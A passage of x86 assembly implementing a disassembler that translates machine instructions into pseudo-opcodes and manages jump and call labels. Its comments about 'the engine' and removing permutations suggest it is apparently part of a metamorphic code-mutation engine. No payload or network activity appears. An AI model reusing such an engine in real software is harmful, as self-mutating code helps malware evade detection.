mov eax, [edi] ; Set the 8 bits operation
add eax, 80h
mov [edi], eax
jmp @@Gen_GenlRegReg ; Decode the rest of the instruction
@@Gen_8b_ReglReg:
call GenOp_SetRegReg ; Decode the OP Reg8,Reg8
mov eax, [edi] ; Set 8 bits instruction
add eax, 80h
mov [edi], eax
jmp @@Gen_GenReglReg ; Decode the rest of the instruction
@@Gen_UsingAL:
mov eax, [esi] ; Get the operation
and eax, 38h
add eax, 80h
mov edx, [edi] ; Set the opcode
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax
xor eax, eax
mov eax, [esi+1] ; Get the Imm
and eax, 0FFh ; Extend the sign
cmp eax, 7Fh
jbe @@Gen_UsingAL_01
add eax, 0FFFFFF00h
@@Gen_UsingAL_01:
add esi, 2 ; Increase EIP and set the value
jmp @@Gen_SetValue
@@Gen_UsingEAX:
mov eax, [esi] ; Get the instruction
and eax, 38h
mov edx, [edi] ; Set the opcode
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax
mov eax, [esi+1] ; Set the value
add esi, 5
@@Gen_SetValue:
mov [edi+7], eax
xor eax, eax ; Set the register (EAX)
mov [edi+1], eax
jmp @@NextInstruction
;;;; INC Reg
@@Op_INC: and eax, 7 ; Get the register of the INC
mov [edi+1], eax ; Set it
xor eax, eax ; Pseudoopcode (ADD)
jmp @@Op_GenINCDEC
;;;; DEC Reg
@@Op_DEC: and eax, 7 ; Get the register of the DEC
mov [edi+1], eax ; Set it
mov eax, 28h ; Pseudoopcode (SUB)
@@Op_GenINCDEC:
mov edx, [edi] ; Set the pseudoopcode
and edx, 0FFFFFF00h
and eax, 0FFh
add eax, edx
mov [edi], eax
mov eax, 1 ; Set the value of addition/subtraction
mov [edi+7], eax
add esi, 1 ; Increase the EIP
jmp @@NextInstruction
;;;; PUSH Reg & POP Reg
@@Op_PUSHPOP: and eax, 7 ; Get the register of the opcode
mov [edi+1], eax ; Set it
mov eax, [esi]
and eax, 58h ; Get the instruction (PUSH or POP)
mov edx, [edi]
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax ; Set it
add esi, 1
jmp @@NextInstruction
;;;; PUSH Value
@@Op_PUSHValue:
mov [edi], eax ; Set the opcode
mov eax, [esi+1] ; Get the value
mov [edi+7], eax
add esi, 5 ; Add the length of the instr. to the EIP
jmp @@NextInstruction
;;;; PUSH SignedValue
@@Op_PUSHSignedValue:
mov eax, 68h ; Set the opcode 68h
mov [edi], eax
mov eax, [esi+1] ; Get the value to PUSH
and eax, 0FFh ; Extend the sign
cmp eax, 7Fh
jbe @@Op_PUSHSignedValue_01
add eax, 0FFFFFF00h
;movsx eax, byte ptr [esi+1]
@@Op_PUSHSignedValue_01:
mov [edi+7], eax ; Set the value
add esi, 2 ; Increase the EIP
jmp @@NextInstruction
;;;; GENERIC OPCODE (2nd part)
;; This opcodes are the 80h-83h ones, which are used for "OP [Mem],Value" or
;; "OP Reg,Value". Moreover, opcodes 84-85 are also decoded here (the ones that
;; make TEST).
@@GenericOpcode2:
and eax, 1 ; Get if it's a 8 bits or 32 bits operation
or eax, eax
jz @@Gen2_8b ; Jump if it's 8 bits
@@Gen2_32b:
mov eax, [esi+1] ; Get the operation performed
and eax, 38h
mov edx, [edi] ; Set it as pseudoopcode
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax
mov eax, [esi]
and eax, 2 ; Get if the operation uses a DWORD or
or eax, eax ; a sign-extended byte
jnz @@Gen2_Gen_Signed
@@Gen32Value:
mov eax, [esi+1] ; Get it we use Reg,Reg
and eax, 0C0h
cmp eax, 0C0h
jz @@Gen2_32b_Register
mov eax, [edi] ; Get the opcode
add eax, 4 ; Set OP Mem,Imm
mov [edi], eax
mov edx, esi ; Decode the memory construction
add edx, 1
call DecodeMemoryConstruction
add esi, ebx ; Add the length of the rest of the
mov eax, [esi+1] ; instruction to get the value OPed
sub esi, ebx ; Subtract it because later we'll add
add esi, 3 ; it again.
jmp @@Gen2_Gen_Memory
@@Gen2_32b_Register:
mov eax, [esi+2] ; Get the value
mov [edi+7], eax ; Set it
mov eax, [esi+1] ; Get the operation opcode
add esi, 6 ; Add the length of the instruction
jmp @@Gen2_Gen_Register
@@Gen2_8b:
mov eax, [esi+1] ; Get the 2nd opcode
and eax, 38h ; Extract the operation and set it as
add eax, 80h ; a 8 bits pseudooperation.
mov edx, [edi] ; Set it
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax
@@Gen2_Gen_Signed:
@@Gen8Value:
mov eax, [esi+1] ; Get the 2nd opcode
and eax, 0C0h
cmp eax, 0C0h ; If we use a register, jump
jz @@Gen2_8b_Register
mov eax, [edi] ; Set "Mem" usage
add eax, 4
mov [edi], eax
mov edx, esi ; Decode the memory address
add edx, 1
call DecodeMemoryConstruction
xor eax, eax ; Get the Imm of the operation in EAX
add esi, ebx
mov eax, [esi+1]
sub esi, ebx
and eax, 0FFh
cmp eax, 7Fh
jbe @@Gen8Value_01
add eax, 0FFFFFF00h
@@Gen8Value_01:
@@Gen2_Gen_Memory:
mov [edi+7], eax ; Set it in the pseudoinstruction
add esi, ebx
add esi, 2 ; Increase EIP and decode the next
jmp @@NextInstruction ; instruction.
@@Gen2_8b_Register:
mov eax, [esi+2] ; Get the Imm and extend the sign
and eax, 0FFh
cmp eax, 7Fh
jbe @@Gen2_8b_Register_01
add eax, 0FFFFFF00h
@@Gen2_8b_Register_01:
mov [edi+7], eax ; Set it in the pseudo-instruction
mov eax, [esi+1] ; Get the 2nd opcode
add esi, 3 ; Add the length of the instruction
@@Gen2_Gen_Register: ; to EIP
and eax, 7 ; Get the register of the instruction
mov edx, [edi+1]
and edx, 0FFFFFF00h
add eax, edx
mov [edi+1], eax ; Set the register
jmp @@NextInstruction ; Decode the next instruction
;;;; LEA decoding
@@LEA: mov eax, 0FCh ; Set the pseudoopcode of LEA
mov [edi], eax
mov edx, esi
add edx, 1 ; Decode the memory address
call DecodeMemoryConstruction
mov eax, [esi+1]
and eax, 38h ; Get the destiny register and set it
shr eax, 3
mov [edi+7], eax
add esi, ebx
add esi, 1 ; Add the length of the instruction to
jmp @@NextInstruction ; the EIP.
;;;; POP Mem decoding
@@POPMem: mov eax, [esi+1] ; Get the operand
and eax, 0C0h ; Get if we use reg or memory address
cmp eax, 0C0h
jz @@POPMem_butReg
mov eax, 59h ; If we use a memory address, set the
mov [edi], eax ; opcode and decode the memory address
mov edx, esi
add edx, 1
call DecodeMemoryConstruction
add esi, ebx
add esi, 1
jmp @@NextInstruction
@@POPMem_butReg: ; If it uses a register, set it
mov eax, [esi+1]
and eax, 7
mov [edi+1], eax
mov eax, 58h ; Set the opcode
mov edx, [edi]
and edx, 0FFFFFF00h
add eax, edx
mov [edi], eax
add esi, 2
jmp @@NextInstruction
;;;; XCHG With EAX:
;; Disabled since we aren't coding XCHG
; @@XCHGWithEAX:
; mov al, [esi]
; add esi, 1
; cmp eax, 90h
; jz @@NOP
; and eax, 7
; mov [edi+1], al
; mov eax, 48h+5
; mov [edi], al
; xor eax, eax
; mov [edi+7], eax
; jmp @@NextInstruction
;; NOP instruction
@@NOP: mov eax, 0FFh ; Set the NOP pseudoopcode
mov [edi], eax
add esi, 1
jmp @@NextInstruction
;;;; MOV AL/EAX,Mem
; This one is also disabled, because we doesn't have direct memory operations
; to disassemble.
; @@MOVALMem:
; mov eax, 0C2h
; @@MOVxAxMem:
; mov [edi], eax
; mov eax, 8
; mov [edi+1], eax
; mov [edi+2], eax
; xor eax, eax
; mov [edi+7], eax
; mov eax, [esi+1]
; mov [edi+3], eax
; add esi, 5
; jmp @@NextInstruction
; @@MOVEAXMem:
; mov eax, 42h
; jmp @@MOVxAxMem
;;;; MOV Mem,AL/EAX
; @@MOVMemAL:
; mov eax, 0C3h
; jmp @@MOVxAxMem
; @@MOVMemEAX:
; mov eax, 43h
; jmp @@MOVxAxMem
;;;; TEST AL,Value decodification
@@TESTALValue:
mov eax, [esi+1] ; Get the value
and eax, 0FFh
mov ecx, eax ; Put it in ECX
mov eax, 0C8h ; Put the pseudoopcode in EAX
add esi, 2
@@TESTxAxValue:
mov [edi], eax ; Set the pseudoopcode
xor eax, eax ; Set the register
mov [edi+1], eax
mov [edi+7], ecx ; Set the value
jmp @@NextInstruction
;;;; TEST EAX,Value
@@TESTEAXValue:
mov ecx, [esi+1] ; Get the Imm in ECX
mov eax, 48h ; 48h = TEST pseudoopcode
add esi, 5 ; Increase the EIP
jmp @@TESTxAxValue
;;;; MOV Reg,Value decodification
@@MOVRegValue:
mov eax, 40h ; 40h = MOV pseudoopcode
mov [edi], eax
mov ecx, [esi+1] ; Get the value in ECX
mov eax, [esi]
add esi, 5
@@MOVRegValue_Common:
and eax, 7 ; Get the register in EAX
mov [edi+1], eax ; Set the register
mov [edi+7], ecx ; Set the value
jmp @@NextInstruction
@@MOVReg8Value:
mov eax, 0C0h
mov [edi], eax ; C0 = MOV 8 bits
mov eax, [esi+1] ; Get the Imm to move
and eax, 0FFh
mov ecx, eax
mov eax, [esi] ; Get the opcode to extract the register
add esi, 2
jmp @@MOVRegValue_Common
;;;; ROL/ROR/etc. decodification
@@BitShifting32:
mov eax, 0F0h ; Pseudoopcode SHIFT
@@BitShifting_Common:
mov [edi], eax ; Set the pseudoopcode
mov eax, [esi+1] ; Get the 2nd opcode
and eax, 38h ; Extract the operation
mov edx, [edi+8] ; Set it at +8 in the instruction
and edx, 0FFFFFF00h
add eax, edx
mov [edi+8], eax
mov eax, [esi+1] ; Get the operand type
and eax, 0C0h
cmp eax, 0C0h
jz @@BS32_Reg ; If it's a Reg, jump
mov eax, [edi]
add eax, 1
mov [edi], eax ; Set SHIFT Mem,x
mov edx, esi
add edx, 1 ; Decode the memory operand
call DecodeMemoryConstruction
@@BS32_Common:
mov eax, [esi] ; Get the opcode
and eax, 0FFh
cmp eax, 0D0h ; Check if it's SHIFT,1 or SHIFT,x
jb @@BS32_GetNumber ; If it's ,x jump
mov eax, 1 ; Set 1 as shifting value
sub esi, 1
jmp @@BS32_SetNumber
@@BS32_GetNumber:
add esi, ebx ; Get the value of shifting
mov eax, [esi+1]
sub esi, ebx
@@BS32_SetNumber:
and eax, 1Fh ; Trim the bits ignored implicitly
mov edx, [edi+7] ; Set the shifting value (byte) at +7
and edx, 0FFFFFF00h ; in the disassembly of the instr.
add eax, edx
mov [edi+7], eax
add esi, ebx
add esi, 2
jmp @@NextInstruction
@@BS32_Reg:
mov eax, [esi+1] ; Get the register
and eax, 7
mov [edi+1], eax ; Set it
mov ebx, 1 ; Jump to finish the decoding
jmp @@BS32_Common
@@BitShifting8:
mov eax, 0F2h ; Set SHIFT8
jmp @@BitShifting_Common
;;;; MOV [Mem8],Value (or MOV Reg8,Value) decoding (opcode C6)
@@MOVMem8Value:
mov eax, 0C4h ; Set the opcode as MOV Mem8,xxx
mov [edi], eax
mov eax, [esi+1] ; Get the 2nd opcode
and eax, 0C0h ; Register or memory address?
cmp eax, 0C0h
jz @@MOVMem8_RegValue ; If register, jump
mov edx, esi
add edx, 1 ; Decode the memory address
call DecodeMemoryConstruction
add esi, ebx ; Add the length of the operand
add esi, 1
@@MOVMem8Value_Common:
mov eax, [esi] ; Get the value we are moving
and eax, 0FFh ; Extend the sign
cmp eax, 7Fh
jbe @@MOVMem8Value_01
add eax, 0FFFFFF00h
@@MOVMem8Value_01:
mov [edi+7], eax ; Set it in the pseudoinstruction
add esi, 1
jmp @@NextInstruction
@@MOVMem8_RegValue:
mov eax, 0C0h ; C0 = MOV Reg8,Imm
mov [edi], eax ; Set the pseudoopcode
mov eax, [esi+1]
and eax, 7
mov [edi+1], eax ; Set the register
add esi, 2
jmp @@MOVMem8Value_Common ; Jump to finish the decoding
;;;; MOV [Mem32],Value (or MOV Reg32,Value) decoding (opcode C7)
@@MOVMem32Value:
mov eax, 44h ; 44h = MOV Mem,Imm (in our assembler)
mov [edi], eax ; Set the pseudoopcode
mov eax, [esi+1] ; Get the 2nd opcode
and eax, 0C0h
cmp eax, 0C0h ; Memory address or register?
jz @@MOVMem32_RegValue ; Jump if it's register
mov edx, esi
add edx, 1 ; Decode the memory address
call DecodeMemoryConstruction
add esi, ebx ; Add the operand length
add esi, 1
mov eax, [esi] ; Get the Imm to move
mov [edi+7], eax ; Set it in the disassembly
add esi, 4 ; Increase the EIP
jmp @@NextInstruction
@@MOVMem32_RegValue:
mov eax, 40h ; 40h = MOV Reg32,Imm32
mov [edi], eax ; Set the pseudoopcode
mov eax, [esi+1]
and eax, 7
mov [edi+1], eax ; Get the register and set it
mov eax, [esi+2] ; Get the immediate value and set it
mov [edi+7], eax
add esi, 6 ; Add the instruction length to the EIP
jmp @@NextInstruction
;;;; Some not very common instructions
;; Opcodes F6 and F7 are used for TEST, NOT, NEG, MUL, IMUL, DIV and IDIV.
;; Since MUL and up aren't used by us, we only decode TEST, NOT and NEG.
@@SomeNotVeryCommon8:
mov eax, [esi+1] ; Get the operation
and eax, 38h
or eax, eax ; 0 is TEST
jz @@TEST8Value
shr eax, 1 ; If it's not TEST, it is NOT or NEG
add eax, 0DAh ; EAX = E2/E6
@@SNVC_Gen: mov [edi], eax ; Set the opcode
mov eax, [esi+1] ; Check if we use register or memory
and eax, 0C0h
cmp eax, 0C0h
jz @@NOTNEGReg8 ; If register, jump
mov eax, [edi] ; Set memory usage
add eax, 1
mov [edi], eax
mov edx, esi ; Decode the memory address operand
add edx, 1
call DecodeMemoryConstruction
add esi, ebx ; Add the length of the operand
add esi, 1
jmp @@NextInstruction
@@NOTNEGReg8:
mov eax, [esi+1] ; Get the register involved
and eax, 7
mov edx, [edi+1]
and edx, 0FFFFFF00h
add eax, edx
mov [edi+1], eax ; Set it
add esi, 2 ; Increase the EIP
jmp @@NextInstruction
@@SomeNotVeryCommon32:
mov eax, [esi+1] ; Get the operation
and eax, 38h
or eax, eax ; If it's TEST, jump to disasm it
jz @@TEST32Value
shr eax, 1
add eax, 0D8h ; E0/E4
jmp @@SNVC_Gen ; Jump to decode the rest of the instr.
@@TEST8Value:
mov eax, 0C8h ; Set TEST 8 bits opcode
mov [edi], eax
jmp @@Gen8Value ; Jump to decode the rest
@@TEST32Value:
mov eax, 48h ; Set TEST 32 bits opcope
mov [edi], eax
jmp @@Gen32Value ; Jump to decode the rest
;;;; INC Mem, DEC Mem, CALL Mem, JMP Mem & PUSH Mem disassembly
@@INCDECMem8:
mov eax, [esi+1] ; Get the operation
and eax, 38h
or eax, eax ; INC?
jz @@INCMem8 ; Then, jump
@@DECMem8: mov eax, 0ACh ; ACh = Opcode of SUB Mem8,Imm8
@@INCDECMem8_Next:
mov [edi], eax ; Set the opcode
mov eax, [esi+1] ; Get the type of operand
and eax, 0C0h
cmp eax, 0C0h ; If we use a register operand, jump
jz @@INCDECReg8
@@INCDECPUSH_Gen:
mov edx, esi ; Here if we use INC/DEC/PUSH Mem
add edx, 1 ; Decode the memory operand
call DecodeMemoryConstruction
add esi, ebx
add esi, 1
mov eax, 1 ; We insert a 1 as a Imm even if it's
mov [edi+7], eax ; PUSH, JMP or CALL, since we will
; ignore this field for them
mov eax, [edi]
and eax, 0FFh
cmp eax, 0EBh ; Did we decode JMP DWORD PTR [xxx]?
jnz @@NextInstruction ; Then, get a new EIP (treat it as
; a RET)
add edi, 10h ; Increase the storadge EIP and get a
jmp @@GetEIPFromFutureLabelList ; new disassembly EIP (ESI)
@@INCDECReg8:
mov eax, [edi] ; Get the opcode
sub eax, 4 ; Convert it to OP Reg
mov [edi], eax
mov eax, [esi+1] ; Get the register
and eax, 7
mov [edi+1], eax ; Set it in the instruction
mov eax, 1 ; Set "1" value for addition and
mov [edi+7], eax ; subtraction
add esi, 2
jmp @@NextInstruction
@@INCMem8: mov eax, 84h ; Set ADD Mem8,Imm8
jmp @@INCDECMem8_Next
;; Opcode FF: INC Mem, DEC Mem, CALL Mem, JMP Mem and PUSH Mem (32 bits)
@@INCDECPUSHMem32:
mov eax, [esi+1] ; Get the operand type
and eax, 38h
or eax, eax ; INC?
jz @@INCMem32
cmp eax, 08h ; DEC?
jz @@DECMem32
cmp eax, 10h ; CALL?
jz @@CALLMem32
cmp eax, 20h ; JMP?
jz @@JMPMem32
@@PUSHMem32:
mov eax, [esi+1] ; Decode PUSH. Look if it uses a reg.
and eax, 0C0h ; or a memory address
cmp eax, 0C0h
jz @@PUSHMem32_Reg
mov eax, 51h ; EAX = 51h, pseudoopcode of PUSH Mem
mov [edi], eax
jmp @@INCDECPUSH_Gen
@@PUSHMem32_Reg:
mov eax, 50h ; 50h = Opcode of PUSH Reg
@@INCDECPUSH_GenMem32_Reg:
mov [edi], eax ; Set the opcode
mov eax, [esi+1] ; Get the operand register
and eax, 7
mov [edi+1], eax
mov eax, 1 ; Set "1" as immediate value (for INCs
mov [edi+7], eax ; and DECs, and ignored for the others)
add esi, 2
mov eax, [edi] ; Get the opcopde
and eax, 0FFh
cmp eax, 0EDh ; Did we decode JMP Reg?
jnz @@NextInstruction
add edi, 10h ; If so, treat it as a RET
jmp @@GetEIPFromFutureLabelList
;; Here if we decoded INC
@@INCMem32:
mov eax, [esi+1] ; Get the opcode
and eax, 0C0h ; Check if it uses a register or a
cmp eax, 0C0h ; memory address as operand
jz @@INCReg32
mov eax, 4 ; If Mem, set ADD Mem,Imm
jmp @@INCDECMem8_Next
@@INCReg32:
xor eax, eax ; If Reg, set ADD Reg,Imm
jmp @@INCDECPUSH_GenMem32_Reg
;; Here if we decoded DEC
@@DECMem32:
mov eax, [esi+1] ; Get if it uses a memory address or
and eax, 0C0h ; a register
cmp eax, 0C0h
jz @@DECReg32
mov eax, 2Ch ; Set SUB Mem,Imm
jmp @@INCDECMem8_Next
@@DECReg32:
mov eax, 28h ; Set SUB Reg,Imm
jmp @@INCDECPUSH_GenMem32_Reg
;; Here if we decoded CALL Mem (or CALL Reg)
@@CALLMem32:
mov eax, [esi+1]
and eax, 0C0h ; Get the type of operand
cmp eax, 0C0h
jz @@CALLMem32_Reg
mov eax, 0EAh ; Set CALL Mem
mov [edi], eax
jmp @@INCDECPUSH_Gen
@@CALLMem32_Reg:
mov eax, 0ECh ; Normally APIs
jmp @@INCDECPUSH_GenMem32_Reg
@@JMPMem32:
mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h
jz @@JMPMem32_Reg
mov eax, 0EBh ; Normally to simulate RET, so treat it
mov [edi], eax ; as a RET (after decoding)
jmp @@INCDECPUSH_Gen
@@JMPMem32_Reg:
mov eax, 0EDh ; Treat it also as a RET (coz it's a jump
jmp @@INCDECPUSH_GenMem32_Reg ; with undefined destiny)
@@NextInstruction:
add edi, 10h ; Increase storadge EIP
jmp @@ContinueDissasembly
;;;; RET disassembly
@@RET: mov eax, 0FEh ; Insert the opcode
mov [edi], eax
inc esi
add edi, 10h ; Increase the storing EIP and get a new
jmp @@GetEIPFromFutureLabelList ; EIP for ESI. If there
; aren't more, finish.
;;;; JMP SHORT
@@JMP8: mov eax, [esi+1] ; Get the displacement
and eax, 0FFh
cmp eax, 7Fh
jbe @@JMP8_01
add eax, 0FFFFFF00h
@@JMP8_01:
add eax, 2 ; Add the length of the instruction to
add eax, esi ; the read EIP
jmp @@JMP_Next01
;;;; JMP LONG
@@JMP: mov eax, [esi+1] ; Get the displacement
add eax, 5
add eax, esi
;; The jump is stored as 0E9h,dd IndexOnLabelTable. By this way, if we change
;; the offset of the label, we only have to update the address at the table,
;; and all the references are automatically updated.
@@JMP_Next01:
mov ebx, [ebp+InstructionTable]
cmp ebx, edi
jz @@NoInstructions
@@FindDestinyInTable:
cmp [ebx+0Ch], eax ; Check with the pointer to the real
jz @@SetLabel ; instruction, and set label if we
; found it.
add ebx, 10h
cmp ebx, edi
jnz @@FindDestinyInTable
@@NoInstructions:
mov ecx, 0FFh ; Set a NOP if we didn't disassembled
mov [edi], ecx ; yet the instruction. So, change the
add edi, 10h ; read EIP (at ESI) directly without
mov esi, eax ; inserting the jump. In this way,
jmp @@LoopTrace ; the disassembling is automatically
; eliminating the permutations.
@@SetLabel:
mov ecx, 0E9h ; Set JMP pseudoopcode
mov [edi], ecx
mov edx, esi ; Set the new pointer
mov [edi+0Ch], edx
add edi, 10h
push eax
mov eax, [esi] ; Get the instruction
and eax, 0FFh
mov ecx, eax
pop eax
cmp ecx, 0EBh ; Check if it's a short JMP
jz @@Add2ToEIP ; If it is, increase the EIP only by 2
add esi, 3
@@Add2ToEIP:
add esi, 2
call InsertLabel ; Insert the label
mov [edi+1-10h], edx ; Set the label in the instruction
;; When we arrive here we scan for a label that isn't disassembled yet, We
;; check if we disassembled the pointing code while we didn't arrive here.
;; If the code is already disassembled, we set the label and we check other
;; pointers until we found one that it isn't scanned. If all them are alredy
;; disassembled, we finish because all the reachable code is disassembled.
@@GetEIPFromFutureLabelList:
mov ecx, [ebp+NumberOfLabelsPost]
or ecx, ecx ; If there aren't labels, exit
jz @@FinDeTraduccion
mov ebx, [ebp+FutureLabelTable]
@@LoopCheckForNewEIP:
mov eax, [ebx] ; Get a label
or eax, eax ; Is it empty?
jnz @@GetNewEIP ; If not, we found one
add ebx, 8 ; Check next
sub ecx, 1
or ecx, ecx ; Have we scanned all them?
jnz @@LoopCheckForNewEIP
jmp @@FinDeTraduccion ; If so, exit from disassembler
@@GetNewEIP:
mov esi, [ebx]
jmp @@LoopTrace
;;; Instructions beginning with 0F
@@Opcode0F:
mov eax, [esi+1] ; Get the second opcode
and eax, 0FFh
cmp eax, 80h ; Long Jcc?
jb @@Op0F_Next00
cmp eax, 8Fh
jbe @@Jcc32 ; If so, jump
@@Op0F_Next00:
cmp eax, 0B6h ; MOVZX?
jz @@Op0F_MOVZX
; cmp eax, 0BEh
; jz @@Op0F_MOVSX
add esi, 2 ; Add two to the EIP and continue
jmp @@SigueInstr
;; I decided to make MOVSX instruction using direct checking and
;; sign extension, because this instruction have little variation when
;; recoding (or it is too much long). Anyway, I left the code (commented)
;; because maybe I decide to put it again, to disassemble whatever code I
;; want to pass to this routine, for example (and not only a semi-controlled
;; code as the engine is).
@@Op0F_MOVZX:
mov eax, 0F8h ; Set the pseudoopcode F8
; jmp @@Op0F_MOVxX
; @@Op0F_MOVSX:
; mov eax, 0FAh
; @@Op0F_MOVxX:
mov [edi], eax
mov eax, [esi+2] ; Get the destiny register
and eax, 38h
shr eax, 3
mov [edi+7], eax ; Set it in the instruction
; mov eax, [esi+2]
; and eax, 0C0h
; cmp eax, 0C0h
; jz @@Op0F_MOVxX_RegReg8
; mov eax, [edi]
; add eax, 1
; mov [edi], al
mov edx, esi ; Decode the referenced memory address
add edx, 2
call DecodeMemoryConstruction
add esi, ebx
add esi, 2
jmp @@NextInstruction
; @@Op0F_MOVxX_RegReg8:
; mov eax, [esi+2]
; and eax, 7
; mov [edi+1], eax
; add esi, 3
; jmp @@NextInstruction
;; For the translation of Jcc (both 8 bits and 32 bits) and CALLs:
;;
;; - If the code exists, translate the destiny address of the point into a
;; label in the label table, and complete the instruction with that label.
;; If the label already exists, use the already existent label, of course.
;;
;; - If the code doesn't exist, we put a reference to this instruction in
;; the "future label table", together with a reference to the code it's
;; trying to access. Later, when that referenced code is disassembled,
;; the instruction (Jcc, CALL, etc.) will be completed.
;;; Conditional 32-bit jump (Jx, JNx)
@@Jcc32: mov eax, [esi+2] ; Get the destiny address in EAX
add eax, esi
add eax, 6
jmp @@ContinueWithBranchInstr
;;; CALL
@@CALL: mov eax, [esi+1] ; Get the destiny address in EAX
add eax, esi
add eax, 5
jmp @@ContinueWithBranchInstr
;;; Conditional 8-bits jump (Jx, JNx)
@@Jcc: mov eax, [esi+1] ; Get the destiny address in EAX
and eax, 0FFh
cmp eax, 7Fh
jbe @@Jcc_01
add eax, 0FFFFFF00h
@@Jcc_01:
add eax, esi
add eax, 2
@@ContinueWithBranchInstr:
mov ecx, eax ; Put the destiny addr. in ECX
call SetInFutureLabelList ; Mark the label and get the
push eax ; label table entry in EAX
mov eax, [esi]
and eax, 0FFh ; Get the opcode
cmp eax, 0Fh ; 0F? (i.e. long Jcc)
jz @@Jcc_Jcc32
;mov [edi], al
cmp eax, 0E8h ; CALL?
jz @@Jcc_AddEIP5 ; Then add 5 to EIP. If not, add 2.
jmp @@Jcc_AddEIP2
@@Jcc_Jcc32:
mov eax, [esi+1] ; Get the conditional jump
and eax, 0FFh
sub eax, 10h ; Transform it to pseudoopcode
@@Jcc_AddEIP6:
inc esi
@@Jcc_AddEIP5:
add esi, 3
@@Jcc_AddEIP2:
add esi, 2 ; Increase the EIP
mov edx, [edi] ; Set the pseudoopcode in EAX
and edx, 0FFFFFF00h
and eax, 0FFh
add eax, edx
mov [edi], eax
pop eax
or eax, eax ; Restore the label table entry pointer.
jz @@NextInstruction ; If it's 0, is because it wasn't
; scanned, so go for next instruction.
call InsertLabel ; Insert the label if the EIP was already
mov [edi+1], edx ; disassembled, and insert it in the
jmp @@NextInstruction ; instruction, completing it.
@@FinDeTraduccion: ; Return!
ret
DisasmCode endp
;; This function is constructed to save lines of code, because this same
;; method was called from several points.
GenOp_SetRegReg proc
push edx
mov edx, [edi]
and edx, 0FFFFFF00h
mov eax, [esi] ; Get the opcode
and eax, 0FFh
cmp eax, 3Fh ; Check the instruction. If it's <= 3F,
jbe @@SRR_01 ; set the same opcode + 1
cmp eax, 85h ; TEST?
jbe @@SRR_02
; cmp eax, 87h ; XCHG?
; jbe @@SRR_03
cmp eax, 8Bh ; MOV?
jbe @@SRR_04
@@SRR_01: and eax, 38h ; Set the OP Reg,Reg
add eax, 1
@@SRR_Store:
add eax, edx
mov [edi], eax ; Store the opcode
pop edx
ret ; Return
@@SRR_02: mov eax, 48h+1 ; Pseudoopcode of TEST Reg,Reg
jmp @@SRR_Store
; @@SRR_03: mov eax, 48h+5
; jmp @@SRR_Store
@@SRR_04: mov eax, 40h+1 ; Pseudoopcode of MOV Reg,Reg
jmp @@SRR_Store
GenOp_SetRegReg endp
;; Function to insert a label from a Jcc or a CALL to future disassembly. If
;; the label is already disassembled, it returns EAX != 0, being EAX the
;; code referenced. If it's not disassembled, we store the label in the table
;; and we'll check for it everytime a leaf of the execution tree is finished.
SetInFutureLabelList proc
mov ebx, [ebp+InstructionTable] ; Get the instructions
cmp ebx, edi ; Are we at the end already?
jz @@SetFutureLabel ; If so, we didn't find that, so
@@LoopCheckLabelForJcc: ; insert the label.
cmp [ebx+0Ch], eax
jz @@Jcc_CodeDefined ; If the code is disassembled, return
add ebx, 10h
cmp ebx, edi ; Get next instruction
jnz @@LoopCheckLabelForJcc
@@SetFutureLabel: ; We didn't find it!
mov edx, [ebp+NumberOfLabelsPost]
shl edx, 3
add edx, [ebp+FutureLabelTable]
mov [edx], eax ; Store the instruction and the
mov [edx+4], edi ; referenced destiny address.
mov eax, [ebp+NumberOfLabelsPost]
add eax, 1 ; Increase the number
mov [ebp+NumberOfLabelsPost], eax ; of labels.
xor eax, eax ; Return 0
@@Jcc_CodeDefined:
ret
SetInFutureLabelList endp
;; Function InsertLabel
;; Simply inserts the address passed into the definitive label list.
;;
;; Params:
;; EAX = Destination address of jump (or call, etc.)
;; EBX = Instruction in list (dissasembled) where EAX points to
;; Returns:
;; ECX undefined
;; EDX = Address in the list where the label has been stored (formerly
;; the type of label we'll use in the instructions).
InsertLabel proc
mov edx, [ebp+LabelTable] ; Get the table
mov ecx, [ebp+NumberOfLabels]
or ecx, ecx ; Check if there's any
jz @@Jcc_InsertaEtiqueta ; If not, insert at first pos.
@@Jcc_LoopEtiqueta:
cmp [edx], eax ; Check if it exists already
jz @@Jcc_EtiquetaYaPuesta ; If it exists, return the ptr
add edx, 8
dec ecx ; Check next
or ecx, ecx
jnz @@Jcc_LoopEtiqueta
@@Jcc_InsertaEtiqueta: ; We didn't find the address, so let's
mov [edx], eax ; insert the new label and return the
mov [edx+4], ebx ; pointer
push eax
mov eax, [ebx+0Bh] ; Set the label mark in the instruction
and eax, 0FFFFFF00h ; we are referencing
add eax, 1
mov [ebx+0Bh], eax
mov eax, [ebp+NumberOfLabels] ; Increase the counter of
add eax, 1 ; labels stored in the table
mov [ebp+NumberOfLabels], eax
pop eax ; Return the label pointer address
@@Jcc_EtiquetaYaPuesta:
ret
InsertLabel endp
;; This function scans the "future labels table" and looks if every entry in
;; the table is pointing to the current EIP. If it is, it inserts a label in
;; the "definitive label table", completes the referenced instruction and
;; continues the check until all the temporary labels that points to that code
;; are released.
ReleaseFutureLabels proc
mov ecx, [ebp+NumberOfLabelsPost] ; Check the number
or ecx, ecx
jz @@SigueInstr ; If it's 0, return
mov ebx, [ebp+FutureLabelTable]
@@LoopCheckFutureLabel:
cmp [ebx], esi ; Check if the current EIP is in the
jz @@FutureLabelFound ; table. If it is, release it.
@@OtraEtiquetaFutura:
add ebx, 8 ; Get the next
dec ecx
or ecx, ecx ; If there are more, loop
jnz @@LoopCheckFutureLabel
@@SigueInstr:
ret
@@FutureLabelFound:
push ecx
push ebx ; Insert a label into the current EIP
mov eax, esi
mov ebx, edi
call InsertLabel
pop ebx ; Returns EDX = label entry
mov eax, [ebx+4] ; Get the address of the instruction to
mov [eax+1], edx ; complete and complete it.
xor ecx, ecx
mov [ebx], ecx ; Eliminate the buffered label
pop ecx
jmp @@OtraEtiquetaFutura ; Jump to get another
ReleaseFutureLabels endp
;; This function decodes a memory reference in an opcode which is pointed by
;; EDX. Since the struct we use for memory codifications is common for all
;; the instructions of the pseudoassembler, the decodification of the memory
;; reference opcodes and fields are equal for all them.
;;
;; EDX = Address to get opcodes from.
;; We must ensure that it's a memory construction.
;; Returns EBX = Length of the memory reference opcodes (opcodes and addition)
DecodeMemoryConstruction proc
mov eax, 00000808h ; Initialize the memory structure
mov [edi+1], eax
xor eax, eax
mov [edi+3], eax
mov ebx, 1 ; Set a length of 1 (at least this
